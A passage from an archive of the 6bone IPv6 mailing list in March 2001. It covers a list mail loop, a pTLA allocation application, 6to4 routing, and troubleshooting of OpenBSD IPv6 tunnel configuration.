>=20
> Flidersan
>=20
>=20

--=20
Pete Toscano         pete@research.netsol.com          703.948.3364
GPG fingerprint: D8F5 A087 9A4C 56BB 8F78  B29C 1FF0 1BA7 9008 2736

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From 6bone-owner  Mon Mar  5 09:24:08 2001
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Subject: loop testing
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There is a misconfigured mailer somewhere in the list 
hierarchy that is remailing mail.  This is a first test mail.

-- 
"When in doubt, Twirl..."  -anon

From 6bone-owner  Mon Mar  5 09:50:34 2001
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Date: Mon, 5 Mar 2001 19:50:19 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <6bone@ISI.EDU>
Subject: LIST: Duplicates of Cc: messages
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Hello all,

Is there something _really_ wrong with the list?  If someone replies on
the list and Cc:'s me, I get a _lot_ of duplicate mails.  These seem to be
drifting at the rate of a couple a day.  Dozens of other lists I'm
subscribed to are fine.

For example:

Date: Wed, 28 Feb 2001 10:50:18 +0530 (IST)
From: Hareesh V H <fd98209@bits-pilani.ac.in>
To: Pekka Savola <pekkas@netcore.fi>
Cc: 6bone@ISI.EDU
Subject: Re: Designing IPv6 network guidelines?
[received _13_ copies so far!]

Date: Wed, 28 Feb 2001 02:33:06 -0300
From: horape@tinuviel.compendium.net.ar
To: Pekka Savola <pekkas@netcore.fi>
Cc: itojun@iijlab.net, 6bone@ISI.EDU
Subject: Re: Designing IPv6 network guidelines?
[9!]

Date: Fri, 2 Mar 2001 21:03:37 +0700 (JAVT)
From: R.  Flidersan <flider@ltrgm.ee.itb.ac.id>
To: horape@tinuviel.compendium.net.ar
Cc: Pekka Savola <pekkas@netcore.fi>, itojun@iijlab.net, 6bone@ISI.EDU
Subject: IPv6 security
[6]

etc.

WTF is going on here?

_Don't_ Cc: me :-/

-- 
Pekka Savola                  "Tell me of difficulties surmounted,
Netcore Oy                    not those you stumble over and fall"
Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords



From 6bone-owner  Mon Mar  5 11:14:38 2001
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narrowing down the loop


-- 
--bill

From 6bone-owner  Mon Mar  5 11:42:19 2001
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From: Antonio Querubin <tony@lava.net>
To: <6bone@ISI.EDU>
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While surveying some of the 6Bone looking glass sites I noticed that some
of the recently added 6Bone sites aren't seen by some sites.  The pattern
I've noticed so far suggests that perhaps sites in the 3ffe:8100::/24
and/or 3ffe:8000::/24 ranges may be filtered somewhere.  I'm wondering if
anyone is seeing any other pattern?



From 6bone-owner  Mon Mar  5 12:55:13 2001
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From: John Galt <galt@inconnu.isu.edu>
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Subject: Re: loop testing
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THANK YOU!!!!!

On Mon, 5 Mar 2001, Bill Manning wrote:

>
>There is a misconfigured mailer somewhere in the list
>hierarchy that is remailing mail.  This is a first test mail.
>
>

-- 
There is no problem so great that it cannot be solved with suitable
application of High Explosives.

Who is John Galt?  galt@inconnu.isu.edu, that's who!


From 6bone-owner  Mon Mar  5 13:47:06 2001
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Date: Mon, 05 Mar 2001 13:46:54 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for TIAI - closes 19Mar01
Cc: Jason <jslagle@toledolink.com>
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6bone Folk,

TIAI has requested a pTLA allocation. The open review period for this will 
close 19 Mar 2001. Please send any comments to me or the list.


Thanks,

Bob

======================================

>Date: Mon, 5 Mar 2001 15:17:29 -0500 (EST)
>From: Jason <jslagle@toledolink.com>
>To: fink@es.net
>Subject: TIAI pTLA Application
>
>
>7. Guidelines for 6Bone pTLA sites
>
>The following rules apply to qualify for a 6Bone pTLA allocation.
>
>It should be recognized that holders of 6Bone pTLA allocations are
>expected to provide production quality backbone network services
>for the 6Bone.
>
>       1. The pTLA Applicant must have a minimum of three (3) months
>          qualifying experience as a 6Bone end-site or pNLA transit.
>          During the entire qualifying period the Applicant must be
>          operationally providing the following:
>          a. Fully maintained, up to date, 6Bone Registry entries for
>             their ipv6-site inet6num, mntner, and person objects,
>             including each tunnel that the Applicant has.
>
>We have been on the 6bone since November 1999.  Since that time we have
>kept our site records, along with our netblock records up to date.  Out
>maintainer block never accepted, but this has since been remedied.
>
>          b. Fully maintained, and reliable, BGP4+ peering and connectivity
>             between the Applicant's boundary router and the appropriate
>             connection point into the 6Bone. This router must be IPv6
>             pingable. This criteria is judged by members of the 6Bone
>             Operations Group at the time of the Applicant's pTLA request.
>
>We currently have a tunnel to Merit and are acting as a transit pLNA.  We
>have downstream tunnels for over 10 sites currently and are always willing
>to bring up more tunnels on request.  We have been running BGP4+ with
>Merit since early 2000, first with a private ASN, and more recently with
>our assigned ASN.  The gateway router on site is ipv6.toledolink.com which
>should be ipv6 and ipv4 pingable.
>
>          c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>             entries for the Applicant's router(s) and at least one host
>             system.
>
>Our forward and reverse zones have been set up and functioning properly
>since early 2000.  Mainstream ipv6 services are being rolled out and all
>new machines have both ipv4 and 6 connectivity.  DNS is being updated as
>this happens.
>
>          d. A fully maintained, and reliable, IPv6-accessible system
>             providing, at a mimimum, one or more web pages, describing
>             the Applicant's IPv6 services.  This server must be IPv6
>             pingable.
>
>The machine raistlin.ipv6.toledolink.com has had ipv6 aware apache running
>on it for some time.  I have updated our ipv6 services page and added it
>to our site entry.  I have also pointed www.ipv6.toledolink.com to it.
>
>In addition, we have several ipv6 aware maileservers on site, with at
>least one (mail.ipv6.tacorp.net) receiving mail via the 6bone.
>
>       2. The pTLA Applicant MUST have the ability and intent to provide
>          "production-quality" 6Bone backbone service. Applicants must
>          provide a statement and information in support of this claim.
>          This MUST include the following:
>
>          a. A support staff of two persons minimum, three preferable,
>             with person attributes registered for each in the ipv6-site
>             object for the pTLA applicant.
>
>We have 2 people on site with person entries and famaliar with it.  We
>have several more who are learning it and will create person objects as
>they are brought up to speed.
>
>          b. A common mailbox for support contact purposes that all
>             support staff have acess to, pointed to with a notify
>             attribute in the ipv6-site object for the pTLA Applicant.
>
>We have the common ipv6@toledolink.com mailbox to address this.  Once the
>process of converting the toledolink.com mailserver to an ipv6 aware OS is
>complete (It is in process), this will also accept ipv6 mail.
>
>       3. The pTLA Applicant MUST have a potential "user community" that
>          would be served by its becoming a pTLA, e.g., the Applicant is a
>          major provider of Internet service in a region, country, or
>          focus of interest. Applicant must provide a statement and
>          information in support this claim.
>
>We believe that the internet as a whole is a potential community.  We have
>been providing tunnel services to anyone who asks, and I am involved in
>several projects in which we will be adding ipv6 support.  I believe that
>the need is there for someone to provide tunnels to sites doing
>development of ipv6 services, and it is a niche I wish to fill.
>
>       4. The pTLA Applicant MUST commit to abide by the current 6Bone
>          operational rules and policies as they exist at time of its
>          application, and agree to abide by future 6Bone backbone
>          operational rules and policies as they evolve by consensus of
>          the 6Bone backbone and user community.
>
>I have no reason to believe I am breaking any policies.  Let me know if I
>am.
>
>
>       When an Applicant seeks to receive a pTLA allocation, it will apply
>       to the 6Bone Operations Group (see section 8 below) by providing to
>       the Group information in support of its claims that it meets the
>       criteria above.
>
>Thanks,
>
>Jason
>
>---
>Jason Slagle - CCNA - CCDA
>Network Administrator - Toledo Internet Access - Toledo Ohio
>- raistlin@tacorp.net - jslagle@toledolink.com - WHOIS JS10172
>/"\ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>\ /   ASCII Ribbon Campaign  .
>  X  - NO HTML/RTF in e-mail  .
>/ \ - NO Word docs in e-mail .



From 6bone-owner  Mon Mar  5 14:14:00 2001
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Date: Mon, 5 Mar 2001 17:13:48 -0500 (EST)
From: Jason <jslagle@toledolink.com>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: pTLA request for TIAI - closes 19Mar01
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I'd like to ask that if you send em to bob you could send them to me also.

I'd be interested in any feedback.

Jason

---
Jason Slagle - CCNA - CCDA
Network Administrator - Toledo Internet Access - Toledo Ohio
- raistlin@tacorp.net - jslagle@toledolink.com - WHOIS JS10172
/"\ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
\ /   ASCII Ribbon Campaign  . 
 X  - NO HTML/RTF in e-mail  . 
/ \ - NO Word docs in e-mail . 


On Mon, 5 Mar 2001, Bob Fink wrote:

> 6bone Folk,
> 
> TIAI has requested a pTLA allocation. The open review period for this will 
> close 19 Mar 2001. Please send any comments to me or the list.
> 
> 
> Thanks,
> 
> Bob
> 
> ======================================
> 
> >Date: Mon, 5 Mar 2001 15:17:29 -0500 (EST)
> >From: Jason <jslagle@toledolink.com>
> >To: fink@es.net
> >Subject: TIAI pTLA Application
> >
> >
> >7. Guidelines for 6Bone pTLA sites
> >
> >The following rules apply to qualify for a 6Bone pTLA allocation.
> >
> >It should be recognized that holders of 6Bone pTLA allocations are
> >expected to provide production quality backbone network services
> >for the 6Bone.
> >
> >       1. The pTLA Applicant must have a minimum of three (3) months
> >          qualifying experience as a 6Bone end-site or pNLA transit.
> >          During the entire qualifying period the Applicant must be
> >          operationally providing the following:
> >          a. Fully maintained, up to date, 6Bone Registry entries for
> >             their ipv6-site inet6num, mntner, and person objects,
> >             including each tunnel that the Applicant has.
> >
> >We have been on the 6bone since November 1999.  Since that time we have
> >kept our site records, along with our netblock records up to date.  Out
> >maintainer block never accepted, but this has since been remedied.
> >
> >          b. Fully maintained, and reliable, BGP4+ peering and connectivity
> >             between the Applicant's boundary router and the appropriate
> >             connection point into the 6Bone. This router must be IPv6
> >             pingable. This criteria is judged by members of the 6Bone
> >             Operations Group at the time of the Applicant's pTLA request.
> >
> >We currently have a tunnel to Merit and are acting as a transit pLNA.  We
> >have downstream tunnels for over 10 sites currently and are always willing
> >to bring up more tunnels on request.  We have been running BGP4+ with
> >Merit since early 2000, first with a private ASN, and more recently with
> >our assigned ASN.  The gateway router on site is ipv6.toledolink.com which
> >should be ipv6 and ipv4 pingable.
> >
> >          c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> >             entries for the Applicant's router(s) and at least one host
> >             system.
> >
> >Our forward and reverse zones have been set up and functioning properly
> >since early 2000.  Mainstream ipv6 services are being rolled out and all
> >new machines have both ipv4 and 6 connectivity.  DNS is being updated as
> >this happens.
> >
> >          d. A fully maintained, and reliable, IPv6-accessible system
> >             providing, at a mimimum, one or more web pages, describing
> >             the Applicant's IPv6 services.  This server must be IPv6
> >             pingable.
> >
> >The machine raistlin.ipv6.toledolink.com has had ipv6 aware apache running
> >on it for some time.  I have updated our ipv6 services page and added it
> >to our site entry.  I have also pointed www.ipv6.toledolink.com to it.
> >
> >In addition, we have several ipv6 aware maileservers on site, with at
> >least one (mail.ipv6.tacorp.net) receiving mail via the 6bone.
> >
> >       2. The pTLA Applicant MUST have the ability and intent to provide
> >          "production-quality" 6Bone backbone service. Applicants must
> >          provide a statement and information in support of this claim.
> >          This MUST include the following:
> >
> >          a. A support staff of two persons minimum, three preferable,
> >             with person attributes registered for each in the ipv6-site
> >             object for the pTLA applicant.
> >
> >We have 2 people on site with person entries and famaliar with it.  We
> >have several more who are learning it and will create person objects as
> >they are brought up to speed.
> >
> >          b. A common mailbox for support contact purposes that all
> >             support staff have acess to, pointed to with a notify
> >             attribute in the ipv6-site object for the pTLA Applicant.
> >
> >We have the common ipv6@toledolink.com mailbox to address this.  Once the
> >process of converting the toledolink.com mailserver to an ipv6 aware OS is
> >complete (It is in process), this will also accept ipv6 mail.
> >
> >       3. The pTLA Applicant MUST have a potential "user community" that
> >          would be served by its becoming a pTLA, e.g., the Applicant is a
> >          major provider of Internet service in a region, country, or
> >          focus of interest. Applicant must provide a statement and
> >          information in support this claim.
> >
> >We believe that the internet as a whole is a potential community.  We have
> >been providing tunnel services to anyone who asks, and I am involved in
> >several projects in which we will be adding ipv6 support.  I believe that
> >the need is there for someone to provide tunnels to sites doing
> >development of ipv6 services, and it is a niche I wish to fill.
> >
> >       4. The pTLA Applicant MUST commit to abide by the current 6Bone
> >          operational rules and policies as they exist at time of its
> >          application, and agree to abide by future 6Bone backbone
> >          operational rules and policies as they evolve by consensus of
> >          the 6Bone backbone and user community.
> >
> >I have no reason to believe I am breaking any policies.  Let me know if I
> >am.
> >
> >
> >       When an Applicant seeks to receive a pTLA allocation, it will apply
> >       to the 6Bone Operations Group (see section 8 below) by providing to
> >       the Group information in support of its claims that it meets the
> >       criteria above.
> >
> >Thanks,
> >
> >Jason
> >
> >---
> >Jason Slagle - CCNA - CCDA
> >Network Administrator - Toledo Internet Access - Toledo Ohio
> >- raistlin@tacorp.net - jslagle@toledolink.com - WHOIS JS10172
> >/"\ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> >\ /   ASCII Ribbon Campaign  .
> >  X  - NO HTML/RTF in e-mail  .
> >/ \ - NO Word docs in e-mail .
> 
> 


From 6bone-owner  Mon Mar  5 14:37:42 2001
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yes, I've received the same mail(s) 2 times..
and it looks like I'm now receiving them for the 3rd time,
and some for the 4th... waaaah.. :)

    Syzop.

Bill Manning wrote:

> There is a misconfigured mailer somewhere in the list
> hierarchy that is remailing mail.  This is a first test mail.
>
> --
> "When in doubt, Twirl..."  -anon


From 6bone-owner  Mon Mar  5 16:09:00 2001
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Date: Fri, 2 Mar 2001 21:03:37 +0700 (JAVT)
From: "R.  Flidersan" <flider@ltrgm.ee.itb.ac.id>
To: horape@tinuviel.compendium.net.ar
cc: Pekka Savola <pekkas@netcore.fi>, itojun@iijlab.net, 6bone@ISI.EDU
Subject:  IPv6 security 
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Hello Guys?

Could you tell me the place or company I can get a source code for
TCP/IP in Linux?

Thanks in advance.

Flidersan


From 6bone-owner  Mon Mar  5 17:49:33 2001
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To: Pekka Savola <pekkas@netcore.fi>
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Subject: Re: Designing IPv6 network guidelines?
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¡Hola!

> > >1) Some RFC recommended using site-local addresses for point to point
> > >links.  Won't this break traceroute?
> >
> > 	you don't even need site-locals for point to point links.  they just
> > 	work fine with link-local address.  all routing protocols should run
> > 	fine with p2p with link-local address only.
> 
> Also, why _would_ traceroute work?  If the link local address of a P-t-P
> link were to use private addresses, you couldn't trace through the
> internet.

I was thinking the same thing and did some tests. If the routers have only
link-local addresses traceroute breaks, but if they have any global address
(in other interface) it uses that address.

Further investigation has led me to the following:

RFC2463 (ICMPv6) says:

    (c) If the message is a response to a message sent to an address
        that does not belong to the node, the Source Address should be
        that unicast address belonging to the node that will be most
        helpful in diagnosing the error. For example, if the message is
        a response to a packet forwarding action that cannot complete
        successfully, the Source Address should be a unicast address
        belonging to the interface on which the packet forwarding
        failed.

Being that that interface has not a helpful address, it avoids the "should
be a unicast address belonging to the interface..." and uses "a unicast
address belonging to the gateway". (Spelling OT: is correct "a unicast" 
or should it be "an unicast" ?)

RFC1812 (Requirements for IP Version 4 Routers) talks in section 2.2.7
about "Unnumbered Lines and Networks Prefixes" and decides:

   Because of these drawbacks, this memo has adopted an alternate
   scheme, which has been invented multiple times but which is probably
   originally attributable to Phil Karn.  In this scheme, a router that
   has unnumbered point to point lines also has a special IP address,
   called a router-id in this memo.  The router-id is one of the
   router's IP addresses (a router is required to have at least one IP
   address).  This router-id is used as if it is the IP address of all
   unnumbered interfaces.

Adapting it to IPv6 you'd talk about p2p using link-local addresses, and
requiring any router to have at least one global IP address.

> Pekka Savola                  "Tell me of difficulties surmounted,
> Netcore Oy                    not those you stumble over and fall"
> Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords

					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Mon Mar  5 17:59:35 2001
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Date: Sun, 4 Mar 2001 13:54:23 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <6bone@ISI.EDU>
Subject: Re: 6to4 prefix announcements? 
In-Reply-To: <20010304111442.2F20F7E0E@starfruit.itojun.org>
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On Sun, 4 Mar 2001, Jun-ichiro itojun Hagino wrote:

>
> >It'd appear that 6to4 prefixes aren't announced on 6bone too much (I only
> >saw 2002::/16).
> >
> >Due to this, ping6 within EU<->EU takes 800 ms instead of 300 ms because
> >it must go through ipv6-router.cisco.com.
> >
> >I think this could be optimized by announcing prefixes, e.g. those
> >calculated from IPv4 addresses where IPv6 is being tested and 6to4 used.
>
> 	see RFC3056, section 5.10.  you can configure static routes to
> 	2002:xxxx:xxxx::/48 if you want to optimize it, but be sure not to
> 	announce that route.

Ah.  A new RFC. :-)

>From 5.10, I gather:

   EGP (i.e., BGP) routing will include advertisements for the 2002::/16
   prefix from relay routers into the native IPv6 domain, whose scope is
   limited by routing policy.  This is the only non-native IPv6 prefix
   advertised by BGP.

I'm rather rather depressed at the fact that within for the traffic
between two sites within EU, the chosen relay router is in the U.S.

Aren't the others (e.g. 6to4.ipv6.bt.com or 6to4.ipv6.fh-regensburg.de,
from http://www.kfu.com/~nsayer/6to4/)  announcing these at all or have
they been restricted by policy to a smaller domain?

[ I've yet to see a 6bone looking glass to see how BGP announcements look
like somewhere else too ]

This makes the whole 6to4 routing act bad.

> >Or is there reasons why this is not done?
>
> 	do you want to see 2^32 routes announced to the 6bone?

Definitely not, but I was thinking of announing them in aggregates always
bigger than traditional B-class..  With about 2^8 or 2^10 you could get
rather good connectivity already -- traffic would probably almost always
be restricted to the same continent, or a part of the continent.

This would in part transfer some routing table expansion problems of IPv4
to IPv6, which is probably the reason it's deprecated.

-- 
Pekka Savola                  "Tell me of difficulties surmounted,
Netcore Oy                    not those you stumble over and fall"
Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords

From 6bone-owner  Tue Mar  6 00:58:37 2001
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From: stuart.prevost@bt.com
To: huntting@hunkular.glarp.com
Cc: pekkas@netcore.fi, 6bone@ISI.EDU
Subject: RE: 6to4 prefix announcements? 
Date: Tue, 6 Mar 2001 08:54:54 -0000 
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Brad wrote:

> -----Original Message-----
> From: Brad Huntting [mailto:huntting@hunkular.glarp.com]
> Sent: Tuesday, March 06, 2001 4:11 AM
> To: stuart.prevost@bt.com
> Cc: pekkas@netcore.fi; 6bone@ISI.EDU
> Subject: Re: 6to4 prefix announcements? 
> 
> 
> 
> > 6to4.ipv6.bt.com is operational and I am announcing 2002::/16
> 
> > If you are having trouble using this then please let me know.
> > Regards,
> > Stuart
> 
> Does anyone see this announcement?  It's not showing up on either
> of the two 6bone connections here.
> 
> 
> brad
> 
> P.S.  "here" = 
> 	2001:428:e02:1::1
> 	3ffe:1900:c001:1::1
> 
Here I currently receive the 2002::/16 prefix from 5 peers in the DFZ.

Also I can reach both your IPv6 addresses.  Maybe 6to4 connectivity is more
wide spread in Europe ?

I know that from my own experience I have always seen the 2002::/16 prefix,
and we act as a 6to4 relay router which is getting used.

I hope this helps?

Stuart

From 6bone-owner  Tue Mar  6 01:16:49 2001
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From: stuart.prevost@bt.com
To: tony@lava.net, 6bone@ISI.EDU
Subject: RE: 3ffe:8x00::/24 filtering?
Date: Tue, 6 Mar 2001 09:12:21 -0000 
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Antonio,

No filtering where I am, can see all 24 /28 prefixes.

Stuart

> -----Original Message-----
> From: Antonio Querubin [mailto:tony@lava.net]
> Sent: Monday, March 05, 2001 7:42 PM
> To: 6bone
> Subject: 3ffe:8x00::/24 filtering?
> 
> 
> While surveying some of the 6Bone looking glass sites I 
> noticed that some
> of the recently added 6Bone sites aren't seen by some sites.  
> The pattern
> I've noticed so far suggests that perhaps sites in the 3ffe:8100::/24
> and/or 3ffe:8000::/24 ranges may be filtered somewhere.  I'm 
> wondering if
> anyone is seeing any other pattern?
> 
> 

From 6bone-owner  Tue Mar  6 07:10:31 2001
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Date: Tue, 6 Mar 2001 16:10:16 +0100 (CET)
From: Kristoff Bonne <kristoff.bonne@skypro.be>
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To: 6bone@ISI.EDU
Subject: OpenBSD IPv6 problem
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Greetings,

I know this is not the most-correct place to ask things about IPv6 OpenBSD
problems, but I do not get any reply when I post in the openbsd
newsgroups; nor in the IPv6 OpenBSD mailing-list.

I have a number of PCs running OpenBSD 2.8 and Zebra; I would like to use
as BGP4+ peering mesh.

But, I get two 'add' things:
- When I configure a IPv6 over IPv4 tunnel, I always get a error-message:
ifconfig: SIOCDIFADDR: Address family not supported by protocol family

But, the config does work and a 'ifconfig' does show what it is suppost
to:
gif1: flags=8011<UP,POINTOPOINT,MULTICAST> mtu 1280
        physical address inet 195.13.8.131 --> 195.13.17.26
        inet6 fe80::210:4bff:fe3f:b495%gif1 -> :: prefixlen 64 scopeid
0x12
        inet6 3ffe:80b0:1001:ff::3 -> 3ffe:80b0:1001:ff::2 prefixlen 127


- In the log-file, I keep on getting the folling message:
Mar  6 15:59:46 bgppai /bsd: nd6_lookup: failed to add route for a
neighbor(3ffe:80b0:1001:00ff::0002), errno=17

What is 'error nr. 17'?


Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                       Belgacom  IP networking
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122



From 6bone-owner  Tue Mar  6 08:25:41 2001
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From: Robert Elz <kre@munnari.OZ.AU>
To: Kristoff Bonne <kristoff.bonne@skypro.be>
cc: 6bone@ISI.EDU
Subject: Re: OpenBSD IPv6 problem 
In-reply-to: Your message of "Tue, 06 Mar 2001 16:10:16 +0100."
             <Pine.LNX.4.21.0103061555490.14593-100000@frigg.belbone.net> 
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    Date:        Tue, 6 Mar 2001 16:10:16 +0100 (CET)
    From:        Kristoff Bonne <kristoff.bonne@skypro.be>
    Message-ID:  <Pine.LNX.4.21.0103061555490.14593-100000@frigg.belbone.net>

  | What is 'error nr. 17'?

EEXIST - that's telling you the route you're trying to add is already
in the routing table.

What does your routing table look like, after you boot and have set up
the tunnel, before and after you start the routing processes?

kre


From 6bone-owner  Tue Mar  6 08:41:32 2001
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To: Kristoff Bonne <kristoff.bonne@skypro.be>
cc: 6bone@ISI.EDU
In-reply-to: kristoff.bonne's message of Tue, 06 Mar 2001 16:10:16 +0100.
      <Pine.LNX.4.21.0103061555490.14593-100000@frigg.belbone.net>
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Subject: Re: OpenBSD IPv6 problem
From: itojun@iijlab.net
Date: Wed, 07 Mar 2001 01:41:07 +0900
Message-ID: <14637.983896867@coconut.itojun.org>
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>I know this is not the most-correct place to ask things about IPv6 OpenBSD
>problems, but I do not get any reply when I post in the openbsd
>newsgroups; nor in the IPv6 OpenBSD mailing-list.
>
>I have a number of PCs running OpenBSD 2.8 and Zebra; I would like to use
>as BGP4+ peering mesh.
>
>But, I get two 'add' things:
>- When I configure a IPv6 over IPv4 tunnel, I always get a error-message:
>ifconfig: SIOCDIFADDR: Address family not supported by protocol family

	i guess this is due to some issue in /sbin/ifconfig.
	please ignore it for now.

>- In the log-file, I keep on getting the folling message:
>Mar  6 15:59:46 bgppai /bsd: nd6_lookup: failed to add route for a
>neighbor(3ffe:80b0:1001:00ff::0002), errno=17
>What is 'error nr. 17'?

>        inet6 3ffe:80b0:1001:ff::3 -> 3ffe:80b0:1001:ff::2 prefixlen 127

	the above error is generated because of this configuration.
	please use either of the following:

	ifconfig gif1 inet6 3ffe:80b0:1001:ff::3 3ffe:80b0:1001:ff::2 prefixlen 128 alias
	ifconfig gif1 inet6 3ffe:80b0:1001:ff::3 prefixlen 64 alias

	if you specify both of the addresses, use prefixlen = 128; otherwise,
	use prefixlen = 64 (or 127 if you really want to).

	latest KAME code checks the condition on ioctl time.

itojun

From 6bone-owner  Tue Mar  6 08:54:56 2001
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Date: Tue, 6 Mar 2001 23:40:34 +0700 (JAVT)
From: "R.  Flidersan" <flider@ltrgm.ee.itb.ac.id>
To: horape@tinuviel.compendium.net.ar
cc: Pekka Savola <pekkas@netcore.fi>, itojun@iijlab.net, 6bone@ISI.EDU
Subject: DHCP 
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 Hello Guys?
 
Could you tell me about DHCP,I need to get the source code for a DCHP 
server and some
test software.

 Thanks in advance.
 
 Flidersan
 
 


From 6bone-owner  Tue Mar  6 09:17:41 2001
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In-Reply-To: <Pine.LNX.4.21.0103061555490.14593-100000@frigg.belbone.net>; from kristoff.bonne@skypro.be on Tue, Mar 06, 2001 at 04:10:16PM +0100
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¡Hola!

I'd the same problem with FBSD (they both use KAME, so there is the
same thing)

Use prefixlen 64 or 128. 127 is invalid prefixlen (and new KAME
versions will not let you set it)

					HoraPe

On Tue, Mar 06, 2001 at 04:10:16PM +0100, Kristoff Bonne wrote:
> Greetings,
> 
> I know this is not the most-correct place to ask things about IPv6 OpenBSD
> problems, but I do not get any reply when I post in the openbsd
> newsgroups; nor in the IPv6 OpenBSD mailing-list.
> 
> I have a number of PCs running OpenBSD 2.8 and Zebra; I would like to use
> as BGP4+ peering mesh.
> 
> But, I get two 'add' things:
> - When I configure a IPv6 over IPv4 tunnel, I always get a error-message:
> ifconfig: SIOCDIFADDR: Address family not supported by protocol family
> 
> But, the config does work and a 'ifconfig' does show what it is suppost
> to:
> gif1: flags=8011<UP,POINTOPOINT,MULTICAST> mtu 1280
>         physical address inet 195.13.8.131 --> 195.13.17.26
>         inet6 fe80::210:4bff:fe3f:b495%gif1 -> :: prefixlen 64 scopeid
> 0x12
>         inet6 3ffe:80b0:1001:ff::3 -> 3ffe:80b0:1001:ff::2 prefixlen 127
> 
> 
> - In the log-file, I keep on getting the folling message:
> Mar  6 15:59:46 bgppai /bsd: nd6_lookup: failed to add route for a
> neighbor(3ffe:80b0:1001:00ff::0002), errno=17
> 
> What is 'error nr. 17'?
> 
> 
> Cheerio! Kr. Bonne.
> -- 
> KB905-RIPE                                       Belgacom  IP networking
> (c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
> kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122
> 

-- 
					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Tue Mar  6 09:27:16 2001
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Date: Tue, 6 Mar 2001 07:27:06 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: Kristoff Bonne <kristoff.bonne@skypro.be>
cc: <6bone@ISI.EDU>
Subject: Re: OpenBSD IPv6 problem
In-Reply-To: <Pine.LNX.4.21.0103061555490.14593-100000@frigg.belbone.net>
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On Tue, 6 Mar 2001, Kristoff Bonne wrote:

> But, I get two 'add' things:
> - When I configure a IPv6 over IPv4 tunnel, I always get a error-message:
> ifconfig: SIOCDIFADDR: Address family not supported by protocol family
>
> But, the config does work and a 'ifconfig' does show what it is suppost
> to:
> gif1: flags=8011<UP,POINTOPOINT,MULTICAST> mtu 1280
>         physical address inet 195.13.8.131 --> 195.13.17.26
>         inet6 fe80::210:4bff:fe3f:b495%gif1 -> :: prefixlen 64 scopeid
> 0x12
>         inet6 3ffe:80b0:1001:ff::3 -> 3ffe:80b0:1001:ff::2 prefixlen 127

In /etc/sysctl.conf try setting net.inet6.ip6.accept_rtadv=1 and/or doing
a 'rtadvd gif1'.





From 6bone-owner  Tue Mar  6 10:30:17 2001
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Date: Tue, 6 Mar 2001 19:29:59 +0100
From: Feico Dillema <feico@pasta.cs.uit.no>
To: Kristoff Bonne <kristoff.bonne@skypro.be>
Cc: 6bone@ISI.EDU
Subject: Re: OpenBSD IPv6 problem
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In-Reply-To: <Pine.LNX.4.21.0103061555490.14593-100000@frigg.belbone.net>; from kristoff.bonne@skypro.be on Tue, Mar 06, 2001 at 04:10:16PM +0100
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On Tue, Mar 06, 2001 at 04:10:16PM +0100, Kristoff Bonne wrote:
> I know this is not the most-correct place to ask things about IPv6 OpenBSD
> problems, but I do not get any reply when I post in the openbsd
> newsgroups; nor in the IPv6 OpenBSD mailing-list.
You could try snap-users@kame.net (The Kame-stack is what is
integrated in OpenBSD) as alternative. I use NetBSD which also
integrated the Kame IPv6 stack, but things may be different between
the different BSDs, so I may be wrong below.

>         inet6 3ffe:80b0:1001:ff::3 -> 3ffe:80b0:1001:ff::2 prefixlen 127
                                                             ^^^^^^^^^^^^^
I believe the only prefixlengths Kame accepts for a gif tunnel are 64
and 128. BTW, for a IPv6 over IPv4 tunnel there's not requiremetn to
assign global v6 addresses to the tunnel endpoints. 

However, the error-msg you got more likely points to some kind of
routing problem. Check netstat -rn the right protocol is send over the
right interface. There should be no IPv4 routeing entry in your
routing table pointing over your gif interface.

> - In the log-file, I keep on getting the folling message:
> Mar  6 15:59:46 bgppai /bsd: nd6_lookup: failed to add route for a
> neighbor(3ffe:80b0:1001:00ff::0002), errno=17
This is either a prefixlen problem (as I mentioned above) or the
machine on the other side of the tunnel is misconfigured (is the other
side also a BSD machine?). However, I think these messages are mostly
harmless and should not prevent you from getting traffic through your
tunnel.

Feico.

From 6bone-owner  Tue Mar  6 12:25:12 2001
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: "R. Flidersan" <flider@ltrgm.ee.itb.ac.id>
cc: horape@tinuviel.compendium.net.ar, Pekka Savola <pekkas@netcore.fi>,
        itojun@iijlab.net, 6bone@ISI.EDU
Subject: Re: DHCP 
In-reply-to: Your message of Tue, 06 Mar 2001 23:40:34 +0700.
             <Pine.LNX.4.10.10103062338560.4635-100000@ltrgm.ee.itb.ac.id> 
Date: Tue, 06 Mar 2001 21:20:59 +0100
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 In your previous mail you wrote:

   Could you tell me about DHCP,I need to get the source code for a DCHP 
   server and some test software.
   
=> if you need a DHCPv4 then you can get the ISC one or the WIDE one...
If you need a DHCPv6 then there is nothing (yet) for the last specs.

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Tue Mar  6 13:53:22 2001
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Subject: Re: DHCP
To: flider@ltrgm.ee.itb.ac.id (R. Flidersan)
Date: Tue, 6 Mar 2001 22:51:18 +0100 (CET)
Cc: horape@tinuviel.compendium.net.ar, pekkas@netcore.fi (Pekka Savola),
        itojun@iijlab.net, 6bone@ISI.EDU
In-Reply-To: <Pine.LNX.4.10.10103062338560.4635-100000@ltrgm.ee.itb.ac.id> from "R.  Flidersan" at Mar 06, 2001 11:40:34 PM
